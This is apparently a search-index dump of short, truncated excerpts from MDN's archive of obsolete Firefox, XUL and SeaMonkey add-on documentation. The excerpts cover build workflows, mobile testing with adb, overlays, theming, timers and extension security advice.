...urse, it isn't. in this case it's assumed that you have checked out the sdk from its github repo and will have run the bin/activate script from the root of your checkout. then when you invoke cfx run or cfx xpi, you pass the "-o" option: cfx run -o this instructs cfx to use the local copies of the sdk modules, not the ones in firefox. ...
... developing without cfx run because cfx run restarts the browser each time you invoke it, it can be a little cumbersome if you are making frequent changes to an add-on. an alternative development model is to use the extension auto-installer add-on: this listens for new xpi files on a specified port and installs them automatically. that way you can test new changes without needing to restart the browser: make a change to your add-on run cfx xpi post the add-on to the port specified you could even automate this workflow with a simple script. for example: while true ; do cfx xpi ; wget --post-file=codesy.xpi http://localhost:8888/ ; sleep 5 ; done note that the logging level defined for the console is different when you use this method, compared to the logging level used when an add-on...
Developing for Firefox Mobile - Archive of obsolete content
ing mobile application with intent name org.mozilla.fennec pushing the addon to your device starting: intent { act=android.activity.main cmp=org.mozilla.fennec/.app (has extras) } --------- beginning of /dev/log/main --------- beginning of /dev/log/system could not read chrome manifest 'file:///data/data/org.mozilla.fennec/chrome.manifest'. info: starting info: starting zerdatime 1329258528988 - browser chrome startup finished. this will be followed by lots of debug output. on the device, you should see firefox launch with your add-on installed. console.log() output from your add-on is written to the command shell, just as it is in desktop development. however, because there's a lot of other debug output in the shell, it's not easy to follow. the command adb logcat prints adb's log, so you...
...bile test --adb /path/to/adb packaging mobile add-ons to package a mobile add-on as an xpi, use the command: jpm xpi actually installing the xpi on the device is a little tricky. the easiest way is probably to copy the signed xpi somewhere on the device: adb push my-addon.xpi /mnt/sdcard/ then open firefox mobile and type this into the address bar: file:///mnt/sdcard/my-addon.xpi the browser should open the xpi and ask if you want to install it. afterwards you can delete it using adb as follows: adb shell cd /mnt/sdcard rm my-addon.xpi module compatibility modules not supported in firefox mobile are marked in the tables below. high-level apis addon-page not supported base64 supported clipboard not supported context-menu not s...
...-page not supported base64 supported clipboard not supported context-menu not supported hotkeys supported indexed-db supported l10n supported notifications supported page-mod supported page-worker supported panel not supported passwords supported private-browsing not supported querystring supported request supported selection not supported self supported simple-prefs supported simple-storage supported system supported tabs supported timers supported ui not supported url supported widget not supported ...
JavaScript timers - Archive of obsolete content
timeout() function is commonly used if you wish to have your function called once after the specified delay. the setinterval() function is commonly used to set a delay for functions that are executed again and again, such as animations. the setimmediate() function can be used instead of the settimeout(fn, 0) method to execute heavy operations in ie. the requestanimationframe() function tells the browser that you wish to perform an animation and requests that the browser schedule a repaint of the window for the next animation frame. documentation settimeout() calls a function or executes a code snippet after specified delay. setinterval() calls a function or executes a code snippet repeatedly, with a fixed time delay between each call to that function. setimmediate() calls a function i...
... cleartimeout() clears the delay set by settimeout(). clearinterval() cancels repeated action which was set up using setinterval(). clearimmediate() cancels the immediate actions, just like cleartimeout() for settimeout(). ...
...puter science a daemon is a task that runs as a background process, rather than being under the direct control of an interactive user. in javascript programming language, all daemons are processes created by javascript timers or by a worker instantiation. here are some code snippets which simplify and abstract the management of daemons. requestanimationframe() requestanimationframe() tells the browser that you wish to perform an animation and requests that the browser schedule a repaint of the window for the next animation frame. the method takes as an argument a callback to be invoked before the repaint. performance.now() performance.now() returns a timestamp, measured in milliseconds, accurate to one thousandth of a millisecond. this timestamp is equal to the number of milliseconds sin...
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
version of the xpi (i.e. the unzipped directory structure) underneath /mozilla/$(moz_objdir)/dist/bin/extensions. (if something goes wrong, figure out what, fix it and then come back here and add it to this article.) to make sure that the build really finished, launch firefox and check that your extension is listed when you select tools/extensions. if you are using firefox as your regular browser (and if you're not, why not!?), you might be annoyed by the fact that you have to close regular firefox before running your custom-built version. if so, try setting the moz_no_remote environment variable to "1" before running the development version of firefox. you'll also need to use a different profile for your development version: firefox -p development where development is rep...
...o package them up as part of your extension. this is accomplished through the use of a jar manifest. ...
...p as part of your extension. this is accomplished through the use of a jar manifest. ...
Inline options - Archive of obsolete content
the title attribute is used as a label for the control...
...the title attribute is used as a label for the controls. to set a description, either use the desc attribute, ...
...button example - not tied to a preference, but attached to a command --> <setting title="do something" type="control"> <button id="myaddon-button" label="click me" oncommand="alert('thank you!');"/> </setting> setting element changed notifications most of the setting elements (it might be all i havent really looked), support oninputchanged attribute. so like for the type="file", once a user browses and picks a file, when it updates the label it will trigger the oninputchanged attribute. so if you would like to do some changes to the xul on the inline options page you can do so. the this value is the setting xul element. see mxr for what all this holds: http://mxr.mozilla.org/mozilla-release/source/toolkit/mozapps/extensions/content/setting.xml for example you can fire this.inputchanged() ...
Appendix: What you should know about open-source software licenses - Archive of obsolete content
ed that “any advertising for software using an modification of this source code must display the name of the original developer.” this clause has been removed. the modified bsd license is the version that does not include the advertising clause. mozilla public license (mpl) this is an oss license created by netscape and the mozilla organization. netscape created it for its open-source web browser. the common public license (cpl) and eclipse public license (epl) are similar in substance. because the cpl is written in such a way that it does not mention any software or company by name, you can use the cpl if you plan to use this kind of licensing. license characteristics if you modify source code that was published under this license, you are obliged to release it under the same licens...
...ted works, you can’t do whatever you want with them. there are companies that have built businesses on open source by taking advantage of this fact. red hat enterprise linux (rhel) cannot be copied or distributed with the redhat trademark in place. a number of rhel clones have appeared, such as centos, where the trademarked parts have been scrubbed away by a community effort. ...
...tributed with the redhat trademark in place. a number of rhel clones have appeared, such as centos, where the trademarked parts have been scrubbed away by a community effort. the firefox web browser, developed by the mozilla foundation, does not permit modifications of its name or trademarked icon. for this reason, the debian project, which distributes free software as a volunteer effort, has a browser based on firefox, but with a different name and logo. document licenses as open-source software grows in popularity, people have begun thinking about applying its principles to content other than software, to allow anyone to duplicate, distribute, and modify it freely. because oss licenses aren’t directly applicable to these other media, a number of other licenses for documents and other r...
Chapter 1: Introduction to Extensions - Archive of obsolete content
eyuki emura and was originally published in japanese for the firefox developers conference summer 2007. emura-san is a co-author of firefox 3 hacks (o'reilly japan, 2008.) introduction if you're reading this guide, you’ve probably used firefox before. perhaps the first time you looked at firefox, you may have been surprised to see that it has a much simpler structure than other full-featured browsers, such as opera or safari. what features are considered standard for web browsers these days? perhaps things like fine-grained tab controls, mouse gestures, extensive toolbars and buttons, a feed reader, integration with a variety of web applications, or sophisticated tools to assist with web design. but we didn't set out to create an all-in-one browser that can satisfy everyone. instead, fir...
... about extensions management using the add-ons manager firefox's add-ons manager is an excellent way to manage extensions, and is a great step up in ease of use. ...
...erchrome.css file, or use the stylish extension. user scripts (change appearance and functionality through javascript) yes; you can use the greasemonkey extension or "bookmarklets." yes; you can change userchrome.js to add functionality through javascript. extensions (these can do anything) yes yes theming (this changes the look of the browser) no yes let's build an extension table 1 shows the various customization options available to a user in firefox. users have flexible customization options, using css in user style sheets and javascript/dom in user scripts (these depend on stylish, greasemonkey, and userchrome.js). in addition to css and javascript, extensions can take advantage of xul and xpcom technologies for m...
Appendix F: Monitoring DOM changes - Archive of obsolete content
replacement for the highly inefficient mutation events. their major advantage is in their performance and their ease of use, especially when combined with simple libraries. their main disadvantage is that, due to their recent advent, support is currently limited to firefox 14+ and chrome 18. while they are still viable for add-ons targeting only the latest firefox, those wishing to support older browsers will need to provide fallbacks. for more information, see this blog post on the issues at hand. non-mutation triggers it is usually possible to tell when a mutation has occurred or is about to occur without resorting to mutation events or observers. most of these methods are specific to a particular site or codebase. hashchange and popstate events most ajax-heavy sites update the url when...
...on firefox 5+, has some particular advantages. because it is based on css, it can be keyed to match new elements of any arbitrary css selector. and because it is css-based, and is triggered when css is being applied anyway, it does not slow dom mutations. the technique was adapted from the method used by the x-tag library. ...
... /** * watches for nodes matching the given css selector to become * available. * * @param {string} selector the css selector of nodes about which you * want to be notified. * @param {function(event)} callback the function which is to be called * when matching nodes become available. ...
Security best practices in extensions - Archive of obsolete content
ing that if you don't follow them then your add-on will not be approved on mozilla add-ons. other items are recommendations. the difference will be clearly flagged. this is written from the perspective of a firefox extension, but most items apply to extensions for other mozilla-based applications such as thunderbird or seamonkey. web content handling in general the best way to ensure that the browser is not compromised when you load content is to make sure it does not have those privileges. a more detailed explanation of this process is in displaying web content in an extension without security issues. the privileges that a document gets also depend on where it comes from. for example, if you load a chrome url, this means the content has been registered with firefox and has full access. co...
...ection. the sidebar: a use case the sidebar in firefox is designed to hold both chrome (privileged) content and web (nonprivileged) content, the latter being in the form of web pages. these web pages can come from a server, or come from local html files bundled with the extension. for pages coming from the server, you need to take steps to ensure that the content can not call back into the web browser and run malicious code. the main way to do this is by creating an iframe or browser element in the sidebar, and loading your content there. give the element a type="content" attribute, which essentially sandboxes the code there and blocks callback rights into chrome. using eval() in an extension using the built-in javascript eval function is frowned upon in the context of extensions. while th...
...g the built-in javascript eval function is frowned upon in the context of extensions. while there are some legitimate use-cases, most of the time there are safer alternatives. this blog post offers some excellent reasons not to use eval(). sandboxed http connections the main purpose of sandboxed http connections is to interact with a web service, without interfering with the cookies set in the browser by that service/site. for example, if you are loading pictures or other data from a photo sharing site, you can sandbox your connections to that site so that the normal browsing of that site by the user in the main firefox browser is not affected. for a real world use case, take a look at this blog post. handling of logins and passwords there are various ways of storing data in firefox, but f...
XML data - Archive of obsolete content
you see the actual tags that define the data's structure. ...
...you see the actual tags that define the data's structure. by linking a css stylesheet with the xml document, you can define other ways to display it. ...
.... . notes about this demonstration: the superscript 2 (in "million km²") a unicode character, coded as \b2 in the css file. the heading, "oceans", has a negative top margin, moving it up so it is dis...
Case Sensitivity in class and id Names - Archive of obsolete content
01. find out how this wrinkle can affect your site design and best practices to avoid any problems. in the authoring of both css and javascript/dom (otherwise known as dhtml) routines, it is a near-certainty that class and id names will be used to identify elements. we have discovered, however, that many authors are running into trouble with class and id names because they're used to the bugs of browsers that don't fully support open standards. the most common case is where the name uses different case in the document source than is found in the css or javascript. for example, there might be this css: p.warning {color: red; background: yellow;} ...coupled with this html: <p class="warning">warning!</p> in netscape 6, the paragraph in question will have neither red text nor a yellow backgroun...
...r class and id names have consistent case throughout the entire document, and with respect to your css and javascript. it is also important to avoid using class or id names which are a case-insensitive match within the same document. for example, you would not want to do something like: .urgent {color: purple;} .urgent {color: yellow;} even though these are technically two distinct class names, browsers other than netscape 6 will treat them as though they are the same thing. therefore, authors should not rely on case-sensitivity as a way of creating distinct identifiers, unless they are designing solely for a truly standards-compliant browser such as netscape 6. why so case-sensitive? netscape 6's unusual sensitivity to case is based on a close reading of the html 4.01 specification. in se...
...nts may be assigned the same class name or names. multiple class names must be separated by white space characters. the marker "[cs]" means "case sensitive," as defined in section 6.1 of the specification. thus, the mozilla team, committed to following open standards as closely as possible, implemented both class and id names as case-sensitive values. as of this writing, netscape 6 is the only browser to honor this defined behavior; other browsers treat both class and id names as case-insensitive. id uniqueness there is a further restriction, however, on the use of id names. section 12.2.1 makes it illegal for the name and id attributes to use values which are a case-insensitive match. an "illegal" example is given in the specification, preceded by the text: "the following example is ille...
Using XML Data Islands in Mozilla - Archive of obsolete content
xml data islands are no longer supported from internet explorer 10 onwards. html5 has a more general feature called "data blocks" that can carry almost any textual data, including xml. ...
...here is a complete demo (also available as an attachment): <!doctype html> <html> <head> <title>xml data block demo</title> <script id="purchase-order" type="application/xml"> <purchaseorder xmlns="http://example.mozilla.org/purchaseorderml"> <lineitem> <name>line item 1</name> <price>1.25</price> </lin...
...e items. the price of the first line item is " + firstprice + "."; } </script> </head> <body onload="rundemo()";> demo did not run </body> </html> the xml source text can be parsed into a dom tree using the domparser api: var parser = new domparser(); var doc = parser.parsefromstring(ordersource, "application/xml"); the html5 data block-based way shown here works in firefox, opera, webkit-based browsers such as chrome and safari, and ie9 while ie's xml data islands work only in ie. here is another possible way, using the <object> tag. for this demo, you must create an external document called purchase_order.xml: <!doctype html> <html> <head> <title>xml data block demo</title> <script> function rundemo() { var doc = document.getelementbyid("purchase-order").contentdocument; var lineitems =...
Making it into a static overlay - Archive of obsolete content
y file and serves to identify the file as an overlay. within that element is the script reference we previously added to navigator.xul. then there is a statusbar element containing a statusbarpanel element. the value of the id attribute of the statusbar element in our overlay matches the value of the id attribute of the statusbar element in navigator.xul. when navigator.xul is rendering into the browser's application interface, this causes any attributes or child elements of the statusbar element in the overlay file to be added to the interface's dom and thus show up in the interface as if they were defined on the same element in navigator.xul. note that we've added a new attribute to the statusbarpanel element: insertbefore. this attribute identifies another statusbarpanel element within stat...
...y href="chrome://communicator/content/conten...extoverlay.xul"?> <?xul-overlay href="chrome://communicator/content/sideba...baroverlay.xul"?> <?xul-overlay href="chrome://communicator/content/communicatoroverlay.xul"?> <?xul-overlay href="chrome://communicator/content/bookma...rksoverlay.xul"?> ... ...
... « previousnext » ...
Getting Started - Archive of obsolete content
ss files that define the appearance of the suite. this is the most critical directory in a theme. skin\classic\help help contains all the files for theming the help dialog window. skin\classic\messenger messenger contains styles of the mail client. skin\classic\messenger-newsblog messenger-newsblog contains the only css file. skin\classic\mozapps mozapps contains all the styles and icons for the browser peripherals, such as the extension manager or update wizard. skin\classic\navigator navigator contains some icons and styles for all sm components. install your new theme before you can see the changes you make to a seamonkey theme (since live edits are restrictively difficult to set up) you must first learn how to repackage the classic theme to make it installable. for the sake of this discus...
... are some png images containing the icon and the preview of the theme. chrome.manifest make a copy of chrome.manifest and place it in \my_theme and open it up in your text editor. this file is a small manifest file which is used to describe the skin. in the code search for all instances of "my_theme" and replace them with the name of your theme. the packages section lists which components of the browser you're modifying. if we also had skins for chatzilla, we would need to add another line resembling the other ones and change it to point to chatzilla. but this list includes everything that we changed, so just modify the blue text to point to match the name/version that you used in the sections before this. skin global my_theme jar:chrome/my_theme.jar!/global/ skin mozapps my_theme jar:chrome/m...
...> <em:maxversion>max_sm_version</em:maxversion> </description> </em:targetapplication> establishing both minimum and maximum compatible versions lets you avoid conflicts with versions of seamonkey your theme wasn't designed for -- or wasn't tested on. see install manifests for the reference information about the install.rdf file. css files the css files in these directories tell the browser how to display the buttons and other controls, where to put the images, what border and padding it should put around them, and so on. as an example, let's change the standard button. go into the global directory and open button.css in your favorite text editor. scroll down to button {. this section defines the normal button in its basic state (there is no mouse over it, it's not disabled, and i...
In-Depth - Archive of obsolete content
ottomleft the same as -moz-border-radius but only applies to the bottom left corner. an example of where this would be used is on a footer. -moz-border-radius-bottomright the same as -moz-border-radius but only applies to the bottom right corner. an example of where this would be used is on a footer. -moz-box-direction controls which way the items in this box are displayed. normal in english web browsers items are displayed top to bottom and left to right. this will flip it around so items inside of this box will be displayed bottom to top and right to left. this is useful for, say, putting the navigation controls (back button) on the right hand side of the toolbar. values: normal, reverse -moz-image-region this is useful for dividing up an image into multiple smaller images. it uses a rect() ...
...e, 0.00 is invisible and 1.00 is totally visible. how do i know what to modify? now that you've got everything extracted and you know how to modify items, you might be wondering, how do i know where everything is? well there is an easy way to find out - using the dom inspector. if you didn't install it when you first installed mozilla you may have to run the installer again. load mozilla and one browser window. then open the dom inspector (tools->web development->dom inspector). click file->inspect and select the browser window. what appears in a tree view below is the actual code for the interface. using this, we can figure out what objects are where, what classes/id's they have applied to them, and most importantly, which file the style is located in. click on the inspect icon and then clic...
...what this will do is find the code for the back button and display it in the dom inspector. selected in the tree view will be xul:toolbarbutton. this is the portion of the icon with only the image. ...
Layout System Overview - Archive of obsolete content
layout's job: provide the presentation layout is primarily concerned with providing a presentation to an html or xml document. this presentation is typically formatted in accordance with the requirements of the css1 and css2 specifications from the w3c. presentation formatting is also required to provide compatibility with legacy browsers (microsoft internet explorer and netscape navigator 4.x). the decision about when to apply css-specified formatting and when to apply legacy formatting is controlled by the document's doctype specification. these layout modes are referred to as 'standards' and 'navquirks' modes. (doctype and modes are explained in more detail in article mozilla's doctype sniffing. galley and page presentations: the presentation generally is constrained by the width of the wi...
...ds' and 'navquirks' modes. (doctype and modes are explained in more detail in article mozilla's doctype sniffing. galley and page presentations: the presentation generally is constrained by the width of the window in which the presentation is to be displayed, and a height that extends as far as necessary. this is referred to as the galley mode presentation, and is what one expects from a typical browser. additionally, layout must support a paginated presentation, where the width of the presentation is constrained by the dimensions of the printed output (paper) and the height of each page is fixed. this paged presentation presents several challenges not present in the galley presentation, namely how to break up elements that are larger than a single page, and how to handle changes to page dimen...
... in the galley presentation, namely how to break up elements that are larger than a single page, and how to handle changes to page dimensions. the original design of the layout system allowed for multiple, possibly different, presentations to be supported simultaneously from the same content model. in other words, the same html or xml document could be viewed as a normal galley presentation in a browser window, while simultaneously being presented in a paged presentation to a printer, or even an aural presentation to a speech-synthesizer. to date the only real use of this multiple presentation ability is seen in printing, where multiple presentations are managed, all connected to the same content model. (note: it is unclear if this is really a benefit - it may have been better to use a copy of...
Makefile.mozextension.2 - Archive of obsolete content
lts chrome && cd .. make_files: chrome.manifest install.rdf overlay.xul overlay.js overlay.dtd $(noecho) $(noop) make_clean: rm -rf $(project) # this may be a bit too old ?! keeping it anyway.. ...
... .. make_files: chrome.manifest install.rdf overlay.xul overlay.js overlay.dtd $(noecho) $(noop) make_clean: rm -rf $(project) # this may be a bit too old ?! keeping it anyway.. ...
...ject)/chrome.manifest @echo "$$chrome_manifest" > $(project)/chrome.manifest ###### #firefox {ec8030f7-c20a-464f-9b0e-13a3a9e97384} #thunderbird {3550f703-e582-4d05-9a08-453d09bdfdc6} #nvu {136c295a-4a5a-41cf-bf24-5cee526720d5} #mozilla suite {86c18b42-e466-45a9-ae7a-9b95ba6f5640} #seamonkey {92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a} #sunbird {718e30fb-e89b-41dd-9da7-e25a45638b28} #netscape browser {3db10fab-e461-4c80-8b97-957ad5f8ea47} ###### define install_rdf <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <id>$(project_id)</id> <name>$(project_name)</name> <version>$(project_version)</version> <description>$(project_desc)</description> <creator>$(project_author)</creator> <c...
FAQ - Archive of obsolete content
Archive › Mozilla › Prism › FAQ
is prism a mozilla product? no, prism is not a mozilla product. ...
... is prism a mozilla product? no, prism is not a mozilla product. ...
...king to increase the capabilities of those apps by adding features to the web itself, like support for offline data storage and access to 3d graphics hardware, that will be available to web applications in both prism and firefox. how is prism different from xulrunner? prism is built on top of xulrunner. prism is a simple xulrunner application with the main portion of the ui consisting of a xul <browser> element. how does prism render web pages? prism uses gecko, the same browser rendering system found in firefox. what operating systems does prism support? microsoft windows 2000 xp vista mac os x 10.3.9+ (panther) 10.4 (tiger) 10.5 (leopard) linux kernel 2.2.14+ with glibc 2.3.2, xfree86-3.3.6, gtk+2.0, fontconfig/xft, and libstdc++5 ...
Priority Content - Archive of obsolete content
22, 17 may 2005 (pdt) mostly completed: netscape gecko compatibility handbook original: netscape gecko compatibility handbook wiki location: gecko compatibility handbook migrators: mathieu deaudelin there are inline examples on this page that cannot be migrated. they are dependant on some code that cannot be integrated in the page. dependant on: updating dhtml web pages for next generation browsers on devedge the tune-up wizard (see below, in the wishlist section) mostly completed: popup window controls devedge article migrators: mathieu deaudelin there are inline examples on this page that cannot be migrated. they are dependant on some style instructions that can only be placed in the header of the page. started: scripting plugins: macromedia flash original: scripting plugins:...
... this page that cannot be migrated. they are dependant on some style instructions that can only be placed in the header of the page. started: scripting plugins: macromedia flash original: scripting plugins: macromedia flash wiki location: scripting plugins: macromedia flash migrators: dependant on (these parts need to be done, put your name down) completed: soap in netscape gecko-based browsers original: soap in netscape gecko-based browsers wiki location: soap in gecko-based browsers migrators: doron rosenberg in progress: css support charts original: css support charts and archive.org mirror wiki location: css support charts migrators: serge k. keller licensing: these css charts appear to be under a cc:by-nc-sa license, please make note of that on the page when you do the...
...you do the migration. started: using mozilla in testing and debugging web sites original: using mozilla in testing and debugging web sites wiki location: using mozilla in testing and debugging web sites migrators: serge k. keller note: henrik contacted me on apr 27 and gave us permission to use any of his materials in devedge in the devmo wiki under the cc:by-sa license (yay!) started: browser feature detection original: browser feature detection wiki location: browser feature detection migrators: serge k. keller mostly completed*: rich-text editing in mozilla 1.3 "mostly completed" means i'm waiting for a location to store example and source files which are required for demoing the information in the articles. original: rich-text editing in mozilla 1.3 wiki location: rich-t...
New Skin Notes - Archive of obsolete content
t), suggest min-width:some-em-size; width: 88%; and max-width set to 95% or something like that. --callek i tried this, but it gets totally screwed up in ie for some reason. i'll try again, but can't guarantee this will be fixed for the initial upgrades. --dria took two days, but i finally got this sorted out. when the skin is updated on test/docs, editform textarea should be resizeable in all browsers. yay! --dria wordpress skins need footer information. -- dria when a page is redirected, need to say-so and what it was redirected from, (see document for an example of such.) this is only an issue in mw1.5 so far. devmo skin vs cavendish skin --callek i can probably pull-off this patch if needed (quickly), so dria or others do not have to hunt up "how". --callek add "what not to do"...
...ll just leave the internal/external links colours the same. ==dria you've got to be kidding me, the colors are clearly different (rgb(0,51,153) vs rgb(51,102,187)). --nickolay 09:19, 25 aug 2005 (pdt) (moving this to a new item) on the contrary, the list of categories current page belongs to, should be near the footer (see mdc:policies_and_guidelines page) (dria: fix catlinks style) the arrows that appear if you select "enhanced recent changes" in your preferences have an ugly border around them. --nickolay 04:43, 25 aug 2005 (pdt) the radio buttons on history page are jumping in a weird way because the selected row becomes bold. --nickolay 04:46, 25 aug 2005 (pdt) the sidebar overrides content on diff pages --nickolay turns out this was fixed for 1.5 already. --dria the butto...
...es and it's like the old look (with menu bar at the left), where indeed, the logout link is as it should be on the left in personal tools. --mmondor 12:49, 26 aug 2005 (pdt) the logout link is exactly where the login link is. this makes sense as-is. not changing. --dria the menu column seems larger than before in the current test theme, so as to cause some reference pages to look ugly when browser set in 800x* resolution, using the default firefox 1.0.6 fonts settings on xfree86. a few examples: , .these work fine with the old theme, and i expect that this affects a lot of reference articles. that our screen resolutions are now wider than 800 pixels width does not mean that we always want to enlarge the window that large and as a result get extra-wide unreadable text lines :) and some pe...
reserved - Archive of obsolete content
available for use in the content. this means that, to execute these commands, key events won't be passed to content, and event listeners registered for them in content will not be executed. currently, the content still receives these key events, even though it can't override them. in future releases, it won't receive them. see bug 1173061 for details. ...
...s, key events won't be passed to content, and event listeners registered for them in content will not be executed. currently, the content still receives these key events, even though it can't override them. in future releases, it won't receive them. see bug 1173061 for details. ...
...in future releases, the event handler will never be called for the given keyboard shortcut. ...
windowtype - Archive of obsolete content
« xul reference home windowtype type: string set to a string which can be used to identify the type of window. this might be used, for example, to distinguish between a browser window and an editor window. some of mozilla's window handling functions use this attribute to group windows of the same type together. ...
...: string set to a string which can be used to identify the type of window. this might be used, for example, to distinguish between a browser window and an editor window. some of mozilla's window handling functions use this attribute to group windows of the same type together. ...
...an be used to identify the type of window. this might be used, for example, to distinguish between a browser window and an editor window. some of mozilla's window handling functions use this attribute to group windows of the same type together. ...
RDF Query Syntax - Archive of obsolete content
result as above. the content tag doesn't do anything else at this point, meaning it doesn't add anything else to the network of potential results, so processing continues on to the next statement, the triple, which looks like this: <triple subject="?start" predicate="http://www.xulplanet.com/rdf/relateditem" object="?relateditem"/> the triple statement is used to follow arcs or arrows in the rdf graph. the predicate attribute specifies the labels of the arrows to follow. in the triple used here, the predicate is 'http://www.xulplanet.com/rdf/relateditem', so we know that the builder will look for arrows with that label. the builder can either follow the arrows in a forward or backward direction, but only one direction per statement. it determines which direction to use by exam...
.... the builder looks at both the subject and object of the triple and tries to resolve any of the variables using the known data. the ?start variable has a value 'http://www.xulplanet.com/rdf/a', so that is filled in. the ?relateditem variable doesn't have any known value, so it will be left as is. once the variables are filled in, the builder can query the rdf graph. the query will look for all arrows that start at the node 'http://www.xulplanet.com/rdf/a' with the predicate (or arrow label) 'http://www.xulplanet.com/rdf/relateditem'. since ?relateditem isn't known, the builder will allow any value for the node the arrow points to, and will look in the datasource for all possible values. in a triple statement, the subject is always the start of an arc, while the object is what it points to. fo...
....com/rdf/a' with the predicate (or arrow label) 'http://www.xulplanet.com/rdf/relateditem'. since ?relateditem isn't known, the builder will allow any value for the node the arrow points to, and will look in the datasource for all possible values. in a triple statement, the subject is always the start of an arc, while the object is what it points to. for this triple, the builder will follow the arrows in the forward direction. here is the rdf graph again: starting at node a and following the relateditem arcs, we can see that there are three possible values for the ?relateditem variable, b, c and d. this is new data, so the builder adds it to the graph. since three values have been found, the network will now have three potential results: (?start = http://www.xulplanet.com/rdf/a, ?relateditem ...
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
illa:package:custombutton"/> </rdf:seq> <rdf:description rdf:about="urn:mozilla:package:custombutton" chrome:displayname="custom button" chrome:description="my custom toolbar button" chrome:author="my name" chrome:name="custombutton" chrome:localeversion="1.8" chrome:skinversion="1.5" chrome:extension="true"/> <rdf:seq about="urn:mozilla:overlays"> <!-- browser --> <rdf:li> <rdf:seq about="chrome://navigator/content/navigator.xul"> <rdf:li>chrome://custombutton/content/button.xul</rdf:li> </rdf:seq> </rdf:li> <!-- address book --> <rdf:li> <rdf:seq about="chrome://messenger/content/addressbook/addressbook.xul"> <rdf:li>chrome://custombutton/content/button.xul</rdf:li> </rdf:seq> </rdf:li> ...
... get all of it. ...
...8" chrome:skinversion="1.5" chrome:extension="true"/> </rdf:rdf> replace the fields in bold with your xul file name and change the displayname, description, and author attributes as suits you. save the file as contents.rdf and navigate to seamonkey\chrome again, following steps 2 and 3 as listed above. restart seamonkey and type the chrome url: chrome://myapp/content/myapp.xul, the browser should show you the content of the xul file. note: you may have to restart the machine, as seamonkey often is configured to keep portions of code in memory. this may not be the most relevant spot for this addition, i posted this here because the above approach proved successful after hours of unsuccessful tinkering with methods that proved to be obsolete or broken for various reasons. ...
Commands - Archive of obsolete content
ers, which will all be checked. if the currently focused element does not have a suitable controller, the window is checked next. the window also has a controllers property which you can modify if desired. if the focus is inside a frame, each frame leading to the top-level window is checked as as well. this means that commands will work even if the focus is inside a frame. this works well for a browser, since editing commands invoked from the main menu will work inside the content area. note that html also has a commands and controller system although you can't use it on unprivileged web pages, but you may use it from, for example, a browser extension. if the window doesn't provide a controller capable of handling the command, nothing will happen. you can get the command dispatcher using the...
...is method handles an event. example: controller implementation let's assume that we want to implement a listbox that handles the delete command. when the user selects delete from the menu, the listbox deletes the selected row. in this case, you just need to attach a controller to a listbox which will perform the action in its docommand method. try opening the example below (source view) in a browser window and selecting items from the list. you'll notice that the delete command on the browser's edit menu is enabled and that selecting it will delete a row. (see discussion about opening this example). the example below isn't completely polished. really, we should ensure that the selection and focus is adjusted appropriately after a deletion. <window id="controller-example" title="controller...
...andle any other commands. if you wanted to handle more commands, check for them here, since you will often use a single controller for multiple related commands. the iscommandenabled method returns true if the command should be enabled. in this case, we check if there is a selected item in the listbox and return true if there is. if there is no selection, false is returned. if you delete all the rows in the example, the delete command will become disabled. you may have to click the listbox to update the menu in this simple example. the docommand method will be called when the delete menu item is selected, and this will cause the selected row in the listbox to be deleted. nothing needs to happen for the onevent method, so no code is added for this method. override default controller we attac...
Cross Package Overlays - Archive of obsolete content
ection, the overlays were imported by the window. you can also go the other way and have the overlays specify which windows that they apply to. you specify this by modifying the contents.rdf file for your package. this is useful because the overlay can modify the user interface of another package without changing the other package. for example, you could add menu items or toolbars to the mozilla browser window. we'll use this feature to add a toolbar to the mozilla browser window. the mozilla mail application uses overlays to add content to the browser window. for example, if mail is not installed, there will be no new message command. however, if mail is installed, an overlay will be applied to the menu to add the new message command. below, we'll add a find files toolbar to the browser. it p...
...o. our find files example first, let's create a simple overlay. it will just have a few elements for entering a filename and directory to search. call the file foverlay.xul and add it to the findfile directory along with findfile.xul. our foverlay.xul example source <?xml version="1.0"?> <overlay xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <toolbox id="browser-toolbox"> <toolbar id="findfile_toolbar"> <label control="findfile_filename" value="search for files named:"/> <textbox id="findfile_filename"/> <label control="findfile_dir" value="directory:"/> <textbox id="findfile_dir"/> <button label="browse..."/> </toolbar> </toolbox> </overlay> you can view this by changing the overlay to a window. the only thing that is speci...
...label control="findfile_filename" value="search for files named:"/> <textbox id="findfile_filename"/> <label control="findfile_dir" value="directory:"/> <textbox id="findfile_dir"/> <button label="browse..."/> </toolbar> </toolbox> </overlay> you can view this by changing the overlay to a window. the only thing that is special here is the id used on the toolbox. this value (browser-toolbox) is the same as the identifier of the toolbox in the browser window (navigator.xul). this means that the overlay will apply to the toolbox in the browser window and the content will be added as an extra toolbar. the id of the toolbox changed from "<code>navigator-toolbox</code>" to "<code>browser-toolbox</code>" in firefox 3 beta 3. you can support both firefox 2 and earlier and ...
Features of a Window - Archive of obsolete content
« previousnext » we've already seen some features of windows. we'll look at some more in this section. creating another window you can create a second window for your application in the same manner as you would create the first one. just create a second xul file with the window code in it. as in html, you can use the window interface's open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name. if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">window.open() function to open the second window. this function will return a reference to the newly opened window. you can use this reference to call functions of the other window. the open function takes three argu...
... window. you can use this reference to call functions of the other window. the open function takes three arguments. the first is the url of the file you wish to open. the second is an internal name of the window. the third is a list of display flags. the flag 'chrome' is important to open the window as a chrome file. if you do not add the 'chrome' flag, the file will open up as the content in a browser window. for example: var mywin = window.open("chrome://findfile/content/findfile.xul", "findfile", "chrome"); specifying the width and height you should have noticed that whenever elements were added to a window, the window's width expanded to fit the new elements. the window is really just a box which is flexible and defaults to vertical orientation. you can also specify the width and heig...
... that opened the new window is moved, the new window is moved relative to it. dialog the window is a dialog box, which may appear differently. modal the dialog is modal. the window that opened the modal window can't be interacted with until the modal window is closed. resizable the user can resize the window. see also window interface's open() method loads the specified resource into the browsing context (window, <iframe> or tab) with the specified name. if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">window.open() next, we'll look at how to open secondary dialogs. « previousnext » ...
Popup Menus - Archive of obsolete content
